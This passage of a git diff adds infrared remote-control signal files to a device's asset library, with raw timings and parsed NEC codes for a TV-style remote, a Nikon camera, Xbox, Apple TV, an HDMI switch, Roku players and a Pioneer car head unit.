19287 180 1316 182 9776 181 2314 172 13812 182 7801 179 8798 181 19288 179 1317 181 4806 177 4793 180 2316 180 13803 180 7802 178 6306 176 2318 179 12306 179 1317 181 2313 173 1323 175 1321 177 1319 179 2315 182 2312 174 2301 175 2320 177 2317 179 13805 178 7804 176 6308 173 2320 176 12309 176 1320 178 2316 180 1315 172 1324 174 1322 176 2318 179 2297 179 2316 180 2313 173 2321 176 13808 175 7807 173 3817 178 2315 181 2312 174 9802 176 2317 179 3811 173 6809 182 2311 175 2319 177 2316 180 2313 173 5313 180 8319 181 7800 180 3810 174 2319 177 2316 180 12287 177 13290 173 2323 174 2319 177 2316 180 +# +name: Menu +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 7808 182 3809 175 2317 179 2314 172 8307 172 6811 180 6803 178 2315 181 2312 174 2319 178 3812 183 2312 174 2318 179 8321 179 7802 178 3812 172 2321 176 2317 179 8300 179 6804 177 6806 175 2318 178 2316 180 2313 173 3816 179 2315 181 2313 173 8325 175 7806 174 3816 179 2315 182 2312 174 8305 175 6808 173 6809 182 2311 175 2319 178 2316 180 3809 175 2318 179 2315 182 8317 183 7798 182 3808 177 2317 179 2314 182 8297 172 6811 180 6802 179 2315 181 2312 174 2319 178 3813 182 2311 175 2319 178 8321 179 7802 178 3812 172 2321 176 2318 178 8300 179 6804 177 6806 175 2318 178 2315 182 2312 174 3816 179 2315 181 2312 174 8325 175 7805 175 3815 180 2314 172 2321 175 8304 176 6807 174 6809 172 2321 175 2318 179 2315 182 3808 177 2317 179 2314 172 +# +name: Info +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 7803 177 8801 178 10295 182 2313 173 12329 177 21755 177 7805 175 6308 173 2321 176 10299 178 2315 181 34253 175 7807 173 6311 181 2313 173 7807 173 2321 175 2318 178 14783 178 10795 181 8320 180 7800 180 6305 176 2317 180 7801 179 2315 181 2312 174 12311 174 2302 174 10799 177 8324 175 7805 175 3815 180 2314 172 2321 175 7805 175 2319 178 2316 180 12305 180 2296 180 10793 173 8329 181 7799 181 6303 178 2315 181 7799 181 2312 174 2320 177 14785 176 10815 182 8299 180 7803 177 6307 174 2319 177 7803 177 2317 179 2314 172 14808 174 2818 178 1318 180 1316 182 4806 177 +# +name: Up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 7806 174 6310 182 2311 175 6309 172 11797 178 17279 179 11312 174 7809 181 6302 179 2314 172 6312 180 11788 177 14787 174 2322 175 11315 181 7801 179 6305 177 2317 180 6304 178 9299 179 2314 183 14779 182 2314 172 11317 179 7803 177 6307 174 2320 177 6307 174 9302 176 2318 178 12306 179 2297 179 2317 179 11310 176 7807 173 3817 178 2316 180 2313 173 3816 179 2315 181 9295 173 2321 175 12310 175 2301 175 2320 177 +# +name: Down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 172 7810 180 6304 177 2316 180 6303 178 28251 173 12317 178 7805 175 6309 172 2321 175 6309 172 15306 175 5311 182 7282 177 12312 182 7800 180 6304 177 2316 180 6304 177 13804 179 1317 181 3810 174 1321 177 4811 172 2303 173 12317 177 7805 174 6309 183 2311 175 6309 172 10817 180 1316 182 1314 173 1323 175 2319 177 1318 180 1316 182 2312 174 2302 174 2321 175 12312 182 7800 179 6305 176 2317 179 6305 176 10812 174 1322 176 1320 178 1318 180 2314 172 1324 174 1322 176 2318 178 2297 179 2317 179 +# +name: Left +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 178 7805 175 6309 172 2320 177 6308 173 25762 176 6310 182 8317 172 7808 172 6312 180 2313 173 3817 178 2316 181 10790 176 6809 172 5315 178 2315 182 3808 177 2317 179 8320 180 7800 180 3810 175 2319 178 2316 180 3809 175 2318 178 5308 175 5312 181 6801 180 5307 176 2317 179 3810 174 2319 177 8322 178 7802 178 1319 179 2314 172 2322 175 2319 178 1318 180 2314 172 2321 176 5311 182 5305 177 6806 175 5311 182 2311 175 3815 180 2314 172 +# +name: Right +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 178 7804 175 3815 180 2314 182 2311 175 3815 180 2314 172 5314 179 3811 173 2320 177 6806 175 5312 181 2313 173 3817 178 9818 180 7800 179 3811 173 2320 176 2317 179 3811 173 2320 176 5310 172 3818 177 2317 179 6803 178 5309 173 2320 176 3813 181 9814 173 7807 173 3818 177 2316 180 2313 173 3817 178 2316 180 5306 177 3813 182 2312 174 6809 182 5304 178 2315 181 3809 175 9820 177 7803 176 3813 182 2312 174 2319 178 3813 182 2312 174 5312 181 3809 175 2318 179 6804 177 5310 172 2321 175 3814 181 9815 172 7808 182 3808 176 2318 178 2315 181 3808 176 2317 179 5307 175 3815 180 2314 172 6811 180 5306 176 2317 179 3811 173 +# +name: Select +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 179 7802 179 6307 175 2319 178 10296 182 2312 174 12328 179 2297 179 10794 173 8309 181 7801 180 6305 177 2316 181 7799 181 2312 174 2319 178 14784 179 10795 172 8329 182 7798 183 6302 180 2313 173 7807 173 2320 177 2317 180 14782 181 10793 174 8327 173 7807 173 3816 179 2314 172 2322 175 7805 176 2318 179 2315 182 12304 182 2293 183 10791 176 +# +name: Chan_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 7803 177 6306 175 2319 177 9300 178 2315 181 3808 176 2317 179 9297 181 3810 174 15306 175 7808 172 3818 177 2317 179 2313 173 5314 179 3811 173 2320 177 3813 182 2312 174 9303 175 3815 180 5306 177 9819 178 7802 178 3812 172 2321 175 2318 179 9298 180 2314 182 3808 176 2317 179 9297 181 3809 175 +# +name: Chan_down +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 7807 172 3817 178 2315 181 2313 173 5313 180 3811 173 2319 177 5309 173 6810 181 2313 173 3816 179 5308 174 2319 177 8321 178 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 176 6806 174 2320 176 3813 182 5305 177 2316 180 8319 180 7801 179 3812 172 2321 175 2318 178 5307 175 3815 180 2314 172 5314 179 6804 177 2317 179 3810 174 5312 181 2313 173 8326 173 7807 172 3818 177 2316 180 2313 173 5314 179 3811 173 2320 176 5310 172 6811 180 2313 173 3817 178 5308 174 2320 176 8322 177 7803 177 3813 182 2312 174 2320 176 5309 173 3817 178 2316 180 5306 177 6806 175 2319 177 3812 172 5314 179 2315 181 +# +name: Prev +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 172 7810 180 8798 180 10826 181 7265 174 17320 179 11277 177 7805 175 8803 175 18278 179 15800 181 4308 176 8305 174 7809 181 8796 182 15795 175 2301 175 18797 180 1316 182 8299 180 7803 177 8801 177 13306 177 2316 180 2295 181 10811 175 2318 178 2315 181 1314 173 1323 175 1321 177 +# +name: 1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 178 7805 174 3816 178 2315 181 2312 174 5312 181 2314 182 6800 181 2313 173 6809 182 2310 176 5314 179 2314 172 2321 175 9821 176 7803 176 3814 180 2313 173 2320 176 5311 182 2311 175 6808 173 2321 175 9301 177 7804 176 2318 178 9817 180 7800 180 6305 176 2317 179 10810 176 1320 178 7802 178 1319 179 4808 175 2818 178 7286 173 +# +name: 2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 177 7805 174 3816 179 2315 181 2312 174 5312 181 2314 172 5313 180 3811 173 9304 174 5311 182 2312 174 3816 179 8320 179 7801 179 3812 172 2321 175 2318 178 5308 174 2320 176 5309 173 3817 178 6805 176 2318 178 5308 174 2319 177 3813 181 8318 181 7799 180 3810 174 2319 177 2316 180 5306 176 2318 178 5308 174 3815 179 6804 176 2317 179 5307 175 2318 178 3812 172 8327 172 7809 181 3809 175 2318 178 2315 181 5305 177 2316 180 9297 181 9296 182 7799 180 3810 174 +# +name: 3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7810 180 6304 177 2318 178 7801 178 7802 177 2317 179 28768 175 7808 182 6303 178 2315 181 18271 175 28776 177 7805 174 6310 181 2312 174 10815 181 7282 177 12311 173 7807 172 +# +name: 4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 7801 179 3812 172 2320 176 2318 178 7801 179 18792 175 11778 176 8326 173 7808 172 6311 181 2314 172 20294 181 1315 172 7808 182 17278 179 7804 175 8802 176 14803 179 5308 175 1321 177 7804 176 3814 181 +# +name: 5 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 174 7809 182 6302 180 2314 172 18281 177 28773 174 7809 182 6302 180 2313 173 18298 181 28752 174 7809 182 6302 180 2314 172 18281 177 9302 176 +# +name: 6 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7810 180 3810 174 2320 177 2317 179 5307 176 2317 179 3812 172 2320 176 3815 180 6800 181 2315 181 5305 203 5281 176 8327 172 7807 172 3818 177 2317 179 2314 172 5314 179 2315 181 3808 176 2318 178 3811 173 6810 181 2313 173 5313 180 5307 175 8323 176 7804 176 3815 179 2314 172 2321 175 5311 182 2312 174 3816 179 2314 182 3808 176 6806 175 2319 177 5309 173 5313 180 8320 179 7801 178 3811 173 2321 175 2318 178 5308 174 2319 177 3813 182 2312 174 3816 179 6804 177 2317 179 5307 176 5311 172 +# +name: 7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 7808 182 3809 175 2318 178 2315 181 5305 177 2316 180 3810 174 2319 177 2316 180 2313 173 1341 177 5291 181 2313 173 5313 179 4327 177 8306 172 7808 181 3809 175 2318 178 2315 181 5305 177 2317 179 3810 174 2320 176 2317 179 2314 182 9295 172 18301 176 7807 172 3818 177 2316 180 2313 173 7808 182 3808 176 2318 178 2315 181 2312 174 9303 174 +# +name: 8 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7809 181 8798 180 11824 182 2793 182 2329 178 4294 179 16780 178 8303 175 7807 173 8806 172 10302 174 25779 179 2297 179 8322 177 7803 177 6308 173 2320 176 10299 177 11310 176 4812 181 2811 174 1322 176 4812 181 2294 182 +# +name: 9 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 173 7809 181 3809 175 2318 178 2315 181 5305 178 2316 180 2314 172 7808 182 9295 172 9305 173 9823 175 7805 175 6310 182 2312 174 7806 174 2320 177 7804 176 9301 177 9300 178 9818 180 7800 180 3811 173 2320 177 2317 179 5307 176 2318 178 2315 181 5305 178 2316 180 6802 179 2315 181 6801 180 2315 181 +# +name: 0 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 7824 176 1320 178 2316 180 2330 177 2317 179 1316 182 1315 172 2285 180 2312 616 879 619 884 182 1309 178 1336 182 2293 172 6811 180 2314 182 5305 177 2316 180 2313 173 2321 175 8323 176 7805 174 3815 179 2314 182 2312 174 5312 181 2313 173 8307 172 6811 180 2313 173 5314 179 2315 181 2312 174 2319 178 8322 177 7803 176 3814 181 2313 173 2320 176 5310 172 2322 174 8304 175 6808 173 2321 175 5311 182 2312 174 2319 177 2316 180 diff --git a/assets/resources/infrared/assets/Cameras/Nikon.ir b/assets/resources/infrared/assets/Cameras/Nikon.ir new file mode 100644 index 000000000..87771989a --- /dev/null +++ b/assets/resources/infrared/assets/Cameras/Nikon.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: Take_photo +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 1989 27513 408 1569 386 3503 408 62013 1985 27517 404 1573 382 3506 405 diff --git a/assets/resources/infrared/assets/Consoles/Xbox.ir b/assets/resources/infrared/assets/Consoles/Xbox.ir new file mode 100644 index 000000000..948d0410c --- /dev/null +++ b/assets/resources/infrared/assets/Consoles/Xbox.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Xbox_power +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 2F D0 00 00 +# +name: Xbox_up +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 1E E1 00 00 +# +name: Xbox_down +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 1F E0 00 00 +# +name: Xbox_left +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 20 DF 00 00 +# +name: Xbox_right +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 21 DE 00 00 +# +name: Xbox_select +type: parsed +protocol: NECext +address: 80 D8 00 00 +command: 22 DD 00 00 diff --git a/assets/resources/infrared/assets/ETC/Apple_tv.ir b/assets/resources/infrared/assets/ETC/Apple_tv.ir new file mode 100644 index 000000000..06b4d39b7 --- /dev/null +++ b/assets/resources/infrared/assets/ETC/Apple_tv.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Apple_ok +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 04 8E 00 00 +# +name: Apple_up +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 0B 8E 00 00 +# +name: Apple_dwn +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 0D 8E 00 00 +# +name: Apple_lft +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 08 8E 00 00 +# +name: Apple_right +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 07 8E 00 00 +# +name: Apple_menu +type: parsed +protocol: NECext +address: EE 87 00 00 +command: 02 8E 00 00 diff --git a/assets/resources/infrared/assets/ETC/Hdmi_switch.ir b/assets/resources/infrared/assets/ETC/Hdmi_switch.ir new file mode 100644 index 000000000..e413dfc0b --- /dev/null +++ b/assets/resources/infrared/assets/ETC/Hdmi_switch.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0C 00 00 00 +# +name: Hdmi_1 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 01 00 00 00 +# +name: Hdmi_2 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 03 00 00 00 +# +name: Hdmi_3 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 07 00 00 00 +# +name: Hdmi_4 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 09 00 00 00 +# +name: Hdmi_5 +type: parsed +protocol: NEC +address: 80 00 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/assets/ETC/Roku.ir b/assets/resources/infrared/assets/ETC/Roku.ir new file mode 100644 index 000000000..3634b105a --- /dev/null +++ b/assets/resources/infrared/assets/ETC/Roku.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0F F0 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 18 E7 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 42 BD 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 43 BC 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 16 E9 00 00 +# +name: Right +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 15 EA 00 00 +# +name: V_up +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0C F3 00 00 +# +name: V_down +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 0D F2 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 1B E4 00 00 +# +name: Home +type: parsed +protocol: NECext +address: 86 05 00 00 +command: 14 EB 00 00 diff --git a/assets/resources/infrared/assets/ETC/Roku2.ir b/assets/resources/infrared/assets/ETC/Roku2.ir new file mode 100644 index 000000000..77c3c767a --- /dev/null +++ b/assets/resources/infrared/assets/ETC/Roku2.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: Home +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 03 FC 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 2A D5 00 00 +# +name: Left +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 1E E1 00 00 +# +name: Right +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 2D D2 00 00 +# +name: Up +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 19 E6 00 00 +# +name: Down +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 33 CC 00 00 +# +name: Rewind +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 34 CB 00 00 +# +name: Play +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 4C B3 00 00 +# +name: Ff +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 55 AA 00 00 +# +name: Back +type: parsed +protocol: NECext +address: EA C2 00 00 +command: 66 99 00 00 diff --git a/assets/resources/infrared/assets/Head Units/Pioneer_1770nex.ir b/assets/resources/infrared/assets/Head Units/Pioneer_1770nex.ir new file mode 100644 index 000000000..c44576983 --- /dev/null +++ b/assets/resources/infrared/assets/Head Units/Pioneer_1770nex.ir @@ -0,0 +1,22 @@ +Pioneer_mute RAW F:38000 DC:33 8551 4219 566 1562 563 534 544 1584 541 1587 549 524 543 1584 541 506 572 1582 543 528 540 1564 571 526 542 531 547 1581 544 528 540 1563 573 525 542 1560 565 532 546 527 541 1587 538 1590 546 527 541 532 546 526 541 531 547 1581 544 1584 541 506 572 526 542 1586 539 1589 547 1556 569 26876 8542 4226 569 1584 541 1588 548 1581 544 1585 540 531 547 1582 543 529 539 1590 546 526 541 530 548 525 543 529 539 1589 547 526 542 1587 538 533 545 527 541 531 547 525 542 529 539 1590 546 1583 542 529 538 533 545 1584 541 1587 549 1580 545 1559 566 531 547 525 543 1586 539 1589 547 +Vol_up RAW F:38000 DC:33 8548 4219 565 1562 573 524 543 1559 566 1562 563 534 544 1559 566 531 547 1581 544 528 540 1588 547 525 542 529 538 1589 546 526 541 1586 539 533 545 527 541 1562 573 524 543 1584 541 530 548 525 542 504 574 524 543 1559 566 531 547 1556 569 528 539 1588 547 1555 570 1558 567 1586 539 26875 8540 4227 568 1559 566 531 547 1556 569 1559 566 506 572 1556 569 503 564 1563 572 525 542 1560 565 507 571 526 541 1562 563 509 569 1558 567 530 548 525 542 1585 540 532 546 1557 568 529 538 534 544 528 539 533 545 1558 567 505 573 1556 569 528 539 1563 572 1581 544 1559 566 1586 539 +Vol_dwn RAW F:38000 DC:33 8546 4221 564 1588 547 525 542 1585 540 1588 548 525 542 1585 540 532 546 1582 543 529 538 1564 571 526 541 531 547 1581 544 528 540 1588 547 525 542 1586 539 1589 546 526 541 1586 539 533 545 528 539 533 545 527 540 532 546 526 541 1587 538 534 544 1584 541 1586 539 1589 546 1581 544 26872 8543 4223 572 1581 544 528 540 1588 547 1580 545 527 540 1587 549 524 543 1584 541 531 547 1581 544 528 539 508 570 1583 542 530 548 1580 545 527 540 1587 549 1579 546 526 542 1587 538 534 544 528 540 533 545 527 541 532 546 526 541 1586 539 533 545 1583 542 1560 565 1588 547 1580 545 26873 8542 4226 569 1583 542 530 548 1580 545 1583 542 530 548 1580 545 527 540 1587 538 534 544 1584 541 531 547 525 542 1585 540 532 546 1582 543 530 548 1579 546 1582 543 529 539 1589 547 525 542 530 548 524 544 528 539 533 545 527 541 1587 548 524 543 1584 541 1586 539 1589 546 1581 544 +Mode RAW F:38000 DC:33 8549 4218 567 1586 539 533 545 1583 542 1586 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 525 542 530 548 1580 545 528 539 1588 547 525 542 1585 540 533 545 527 541 1588 547 1580 545 527 541 532 546 527 540 532 546 1581 544 1583 542 531 547 525 542 1585 540 1587 548 1579 546 26867 8548 4216 569 1559 566 1587 548 1580 545 1583 542 530 548 1580 545 527 540 1587 549 523 544 527 541 531 547 525 542 1586 539 532 546 1582 543 529 538 1590 545 1583 542 1586 539 533 545 1583 542 1586 539 532 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 538 1590 545 1557 568 +Menu RAW F:38000 DC:33 8542 4224 571 1582 543 529 538 1589 546 1557 568 529 539 1589 547 525 543 1585 540 532 546 1557 568 504 563 534 544 1584 541 531 547 1580 545 528 539 1588 547 525 542 529 549 1579 546 1582 543 529 538 534 544 1584 541 532 546 1582 543 1584 541 531 547 526 541 1587 538 1589 546 526 541 26879 8544 4226 568 1561 564 1566 569 1560 565 1564 571 526 541 1562 573 524 543 1560 565 532 546 526 541 530 548 524 543 1561 564 533 545 1559 566 531 547 1557 568 529 539 1565 570 1558 567 530 548 1557 568 1560 565 532 546 526 541 1563 572 525 542 529 538 1566 569 527 540 531 547 1557 568 +Src RAW F:38000 DC:33 8548 4221 563 1590 545 527 540 1587 548 1580 545 527 540 1588 547 525 542 1586 539 533 545 1584 541 531 547 526 541 1586 539 533 545 1584 541 531 547 526 541 1587 548 525 542 1586 539 1589 546 526 541 531 547 526 541 1587 548 524 543 1585 540 533 545 527 540 1588 547 1580 545 1583 542 26880 8544 4226 569 1560 565 532 546 1582 543 1585 540 533 545 1583 542 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 528 539 1588 547 1581 544 529 538 534 544 528 539 1589 546 526 541 1587 548 524 543 529 538 1589 546 1582 543 1585 540 +Top_menu RAW F:38000 DC:33 8551 4217 567 1561 564 509 569 1559 566 1561 564 509 569 1559 566 506 572 1556 569 503 575 1554 571 501 566 506 572 1556 569 503 575 1553 572 500 567 1561 574 497 570 502 565 1563 572 1556 569 503 575 498 569 1558 567 506 572 1556 569 1559 566 507 571 501 566 1562 573 1554 571 501 566 26880 8553 4216 568 1561 564 1565 570 1559 566 1563 572 499 568 1562 563 508 570 1560 565 507 571 526 541 530 548 525 542 1562 573 523 544 1560 565 531 547 526 541 530 548 1557 568 1561 564 532 546 1559 566 1563 572 524 543 1561 564 1565 570 526 541 531 547 1558 567 529 549 523 544 1559 566 +Up RAW F:38000 DC:33 8547 4221 563 1565 570 527 540 1587 548 1580 545 527 540 1587 548 524 544 1585 540 532 546 1582 543 530 548 524 543 1584 541 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1584 541 531 547 526 541 1586 539 534 544 1584 541 1587 538 534 544 528 539 1588 547 1581 544 528 539 26881 8543 4224 571 1583 542 1587 548 1556 569 1560 565 531 547 1583 542 529 549 1581 544 527 541 532 546 526 541 530 548 1581 544 528 539 1589 546 526 541 1587 538 534 544 1585 540 531 547 1582 543 1586 539 1590 545 526 541 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 1586 539 +Down RAW F:38000 DC:33 8544 4223 571 1581 544 528 540 1588 547 1580 545 527 540 1587 548 524 543 1584 541 532 546 1581 544 528 539 533 545 1582 543 529 549 1579 546 526 541 1585 540 532 546 527 540 1587 538 1588 547 525 542 530 548 1580 545 527 540 1587 538 1589 546 526 541 531 547 1580 545 1582 543 529 538 26875 8547 4217 567 1586 539 1589 546 1582 543 1585 540 532 546 1582 543 529 538 1590 545 526 541 530 548 524 543 528 539 1589 546 525 542 1586 539 532 546 526 541 1587 548 1580 545 527 540 1587 548 1580 545 1583 542 530 548 1580 545 527 540 531 547 1581 544 528 539 532 546 526 541 1586 539 26872 8540 4225 569 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 533 545 1583 542 530 548 524 543 1584 541 531 547 1581 544 528 539 1588 547 525 542 529 538 1589 546 1581 544 528 539 533 545 1583 542 530 548 1579 546 1582 543 529 538 534 544 1584 541 1586 539 533 545 26871 8542 4223 572 1581 544 1585 540 1588 547 1581 544 528 539 1589 546 525 542 1586 539 532 546 526 541 530 548 524 543 1585 540 532 546 1582 543 529 538 533 545 1584 541 1588 547 525 542 1585 540 1589 546 1582 543 529 538 1590 545 526 541 530 548 1581 544 527 540 531 547 525 542 1585 540 +L RAW F:38000 DC:33 8542 4224 571 1557 568 529 538 1589 546 1581 544 528 539 1588 547 525 542 1585 540 532 546 1582 543 530 548 524 543 1584 541 531 547 1581 544 528 539 1589 547 526 541 530 548 1580 545 1582 543 530 548 524 543 1584 541 531 547 1581 544 1584 541 531 547 525 542 1586 539 1588 547 525 542 26875 8549 4216 568 1585 540 1589 546 1583 542 1586 539 533 545 1584 541 531 547 1581 544 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 529 539 1590 545 1584 541 1588 547 1582 543 528 539 1589 546 1583 542 1586 539 533 545 527 540 532 546 526 541 1587 538 +R RAW F:38000 DC:33 8543 4222 573 1579 546 526 541 1586 539 1588 547 525 542 1585 540 532 546 1581 544 528 539 1588 547 525 542 529 549 1579 546 527 540 1587 538 534 544 1584 541 531 547 526 541 1586 539 1588 547 525 542 530 548 1580 545 527 541 1587 548 1579 546 526 541 531 547 1580 545 1583 542 530 548 26867 8546 4220 564 1589 546 1582 543 1585 540 1589 546 525 542 1586 539 533 545 1584 541 530 548 524 543 528 540 533 545 1583 542 530 548 1580 545 527 540 1588 547 1581 544 1585 540 532 546 1583 542 1586 539 1589 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 539 533 545 1583 542 +Enter RAW F:38000 DC:33 8547 4219 565 1587 548 524 543 1584 541 1587 538 534 544 1584 541 531 547 1581 544 528 539 1589 546 525 542 530 548 1580 545 527 540 1586 539 533 545 1583 542 530 548 525 542 1585 540 1587 548 524 543 529 538 1589 546 525 542 1585 540 1588 547 525 542 529 538 1589 546 1581 544 528 539 26874 8548 4219 565 1588 547 1582 543 1585 540 1589 546 525 542 1587 538 533 545 1584 541 531 547 525 542 529 549 523 544 1584 541 531 547 1582 543 529 538 1591 544 527 540 531 547 1582 543 1586 539 1589 546 1583 542 529 549 523 544 1585 540 1588 547 525 542 529 539 533 545 527 540 1588 547 +Audio RAW F:38000 DC:33 8543 4224 570 1557 568 529 549 1579 546 1557 568 529 538 1589 546 526 541 1586 539 534 544 1583 542 531 547 526 541 1586 539 533 545 1584 541 531 547 1581 544 529 538 534 544 1584 541 1586 539 534 544 529 538 1589 546 526 541 1586 539 1564 571 526 541 531 547 1581 544 1584 541 532 546 26873 8550 4218 566 1562 573 1555 570 1559 566 1563 572 524 543 1585 540 533 545 1584 541 531 547 525 542 529 538 534 544 1584 541 531 547 1582 543 529 538 534 544 528 539 1589 546 1582 543 1586 539 1565 570 1584 541 531 547 1583 542 1587 548 523 544 528 539 532 546 527 540 531 547 1581 544 +Sub_title RAW F:38000 DC:33 8541 4228 566 1561 564 509 589 1538 597 1532 562 510 568 1560 565 508 570 1558 567 505 573 1556 569 503 595 477 590 1538 566 506 571 1556 569 504 563 1565 570 503 564 508 570 1559 566 1563 572 524 543 505 562 1566 569 503 564 1563 572 1557 568 504 594 478 569 1584 541 1587 538 534 544 26878 8544 4250 544 1585 540 1563 572 1583 542 1612 513 559 519 1611 514 557 521 1609 516 556 521 550 517 554 513 559 519 1634 491 557 521 1608 517 555 523 1606 519 1610 494 578 520 1634 491 1614 521 1608 517 1612 513 559 519 553 514 582 496 1609 516 557 520 550 517 580 498 550 497 1656 489 +Angle RAW F:38000 DC:33 8540 4225 570 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 534 544 1584 541 531 547 525 542 1585 540 533 545 1582 543 530 548 1579 546 527 540 531 547 1581 544 1583 542 531 547 525 542 1585 540 532 546 1582 543 1585 540 532 546 526 541 1586 539 1589 546 525 542 26874 8548 4218 566 1587 538 1590 545 1584 541 1587 548 524 543 1584 541 531 547 1582 543 529 538 533 545 527 540 531 547 1582 543 528 539 1589 546 526 541 1587 538 533 545 1584 541 1587 548 1580 545 1584 541 1588 547 525 542 529 538 1590 545 527 540 531 547 525 542 530 548 523 544 1584 541 +Play_pause RAW F:38000 DC:33 8542 4224 570 1582 543 529 538 1589 546 1581 544 529 539 1589 546 526 541 1586 539 533 545 1583 542 530 548 525 542 1585 540 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1583 542 531 547 525 542 1586 539 533 545 1583 542 1586 539 534 544 528 539 1589 546 1581 544 528 539 26874 8548 4217 567 1586 539 1589 546 1582 543 1586 539 533 545 1584 541 531 547 1582 543 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 1587 548 1581 544 528 539 532 546 1584 541 1588 547 1582 543 529 538 533 545 528 539 1589 546 1582 543 529 549 524 543 528 539 1588 547 +Stop_ RAW F:38000 DC:33 8550 4218 566 1563 572 500 567 1561 574 1554 571 502 565 1563 572 500 567 1561 564 509 569 1559 566 507 571 502 565 1562 573 500 567 1561 564 508 569 1559 566 507 571 502 565 1563 572 1556 569 504 563 509 569 1559 566 507 571 1558 567 1561 564 509 569 503 564 1564 571 1557 568 505 573 26872 8547 4221 573 1556 569 1559 566 1564 571 1557 568 504 573 1554 571 501 566 1563 572 500 567 504 573 499 568 503 564 1564 571 501 566 1562 573 499 568 503 574 498 569 1559 566 506 572 1557 568 1561 574 1555 570 501 566 1563 572 1557 568 503 564 1564 571 500 567 529 549 523 544 1559 566 +Rew RAW F:38000 DC:33 8541 4225 569 1559 566 531 547 1581 544 1584 541 531 547 1581 544 529 538 1588 547 526 541 1586 539 533 544 528 539 1588 547 525 542 1585 540 533 544 1582 543 530 548 525 542 1584 541 1587 548 524 543 529 538 1589 546 526 541 1586 539 1588 547 525 542 530 548 1580 545 1582 543 529 549 26866 8542 4221 573 1555 570 1559 566 1563 572 1556 569 527 540 1588 547 525 542 1561 564 533 545 527 540 531 547 525 542 1585 540 532 545 1558 567 530 548 524 543 528 539 1589 546 1558 567 529 549 1556 569 1560 565 1563 572 1557 568 1560 565 532 545 526 541 1563 572 524 543 528 539 532 545 26866 8542 4225 569 1558 567 531 547 1555 570 1558 567 530 548 1555 570 527 540 1562 563 534 543 1559 566 531 547 525 542 1561 564 533 544 1557 568 530 537 1564 571 526 541 531 546 1556 569 1558 567 531 547 525 542 1560 565 532 545 1557 568 1560 565 532 545 527 540 1562 563 1564 571 526 541 26868 8541 4223 571 1557 568 1561 564 1564 571 1557 568 528 539 1565 570 525 542 1562 573 523 544 527 